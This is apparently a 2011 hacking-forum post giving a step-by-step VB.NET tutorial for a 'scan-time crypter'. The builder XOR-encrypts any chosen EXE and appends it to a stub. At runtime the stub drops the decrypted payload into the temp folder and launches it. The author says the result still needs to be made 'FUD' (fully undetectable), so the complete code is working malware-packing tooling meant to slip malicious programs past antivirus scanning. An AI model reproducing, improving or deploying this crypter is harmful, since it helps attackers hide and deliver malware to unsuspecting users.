06-04-2011, 01:13 PM
Builder
1.Add this import :
2.Add this code into Class:
3.Add 2 buttons & textbox (make textbox as readonly!)
4.Add this code into button Browse :
5.Now add this code into CRYPT button :
6.You will get this error :
So you need to add this function :
Builder in finished!
Stub
1.Add this code into Class :
2.Add this function :
3.Add this code into Form_Load :
Stub in finished!
Now you need to make it FUD.
Also i used XOR, you can use RC2, RC4,..
From this tut you can make runtime crypter.
1.Add this import :
Code:
Imports System.Text
2.Add this code into Class:
Code:
Const filesplit = "@ScanTimeCrypterTutForLCbyGORANPILKIC@"
3.Add 2 buttons & textbox (make textbox as readonly!)
4.Add this code into button Browse :
Code:
Dim open As New OpenFileDialog
open.Title = "Select File"
open.Filter = "EXE Files (*.exe)|*.exe"
open.ShowDialog()
If open.FileName <> "" Then
TextBox1.Text = open.FileName
End If
5.Now add this code into CRYPT button :
Code:
Dim filee As String
Dim crypterstub As String
FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
filee = Space(LOF(1))
FileGet(1, filee)
FileClose(1)
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
crypterstub = Space(LOF(1))
FileGet(1, crypterstub)
FileClose(1)
FileOpen(1, "Crypted.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, crypterstub & filesplit & XOREncryption("mysecretpassword", filee))
FileClose(1)
MsgBox("Crypted!")
6.You will get this error :
Code:
Name 'XOREncryption' is not declared.
So you need to add this function :
Code:
Public Function XOREncryption(ByVal CodeKey As String, ByVal DataIn As String) As String
Dim lonDataPtr As Long
Dim strDataOut As String
Dim temp As Integer
Dim tempstring As String
Dim intXOrValue1 As Integer
Dim intXOrValue2 As Integer
For lonDataPtr = 1 To Len(DataIn)
intXOrValue1 = Asc(Mid$(DataIn, lonDataPtr, 1))
intXOrValue2 = Asc(Mid$(CodeKey, ((lonDataPtr Mod Len(CodeKey)) + 1), 1))
temp = (intXOrValue1 Xor intXOrValue2)
tempstring = Hex(temp)
If Len(tempstring) = 1 Then tempstring = "0" & tempstring
strDataOut = strDataOut + tempstring
Next lonDataPtr
XOREncryption = strDataOut
End Function
Builder in finished!
Stub
1.Add this code into Class :
Code:
Const filesplit = "@ScanTimeCrypterTutForLCbyGORANPILKIC@"
2.Add this function :
Code:
Public Function XORDecryption(ByVal CodeKey As String, ByVal DataIn As String) As String
Dim lonDataPtr As Long
Dim strDataOut As String
Dim intXOrValue1 As Integer
Dim intXOrValue2 As Integer
For lonDataPtr = 1 To (Len(DataIn) / 2)
intXOrValue1 = Val("&H" & (Mid$(DataIn, (2 * lonDataPtr) - 1, 2)))
intXOrValue2 = Asc(Mid$(CodeKey, ((lonDataPtr Mod Len(CodeKey)) + 1), 1))
strDataOut = strDataOut + Chr(intXOrValue1 Xor intXOrValue2)
Next lonDataPtr
XORDecryption = strDataOut
End Function
3.Add this code into Form_Load :
Code:
On Error Resume Next
Dim rand As New Random
Dim location = System.IO.Path.GetTempPath & "\Crypted" & rand.Next & ".exe"
Dim fm As String
Dim cfile() As String
Dim ahfile As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
fm = Space(LOF(1))
FileGet(1, fm)
FileClose(1)
cfile = Split(fm, filesplit)
ahfile = XORDecryption("mysecretpassword", cfile(1))
FileOpen(5, location, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(5, ahfile)
FileClose(5)
System.Diagnostics.Process.Start(location)
End
Stub in finished!
Now you need to make it FUD.
Also i used XOR, you can use RC2, RC4,..
From this tut you can make runtime crypter.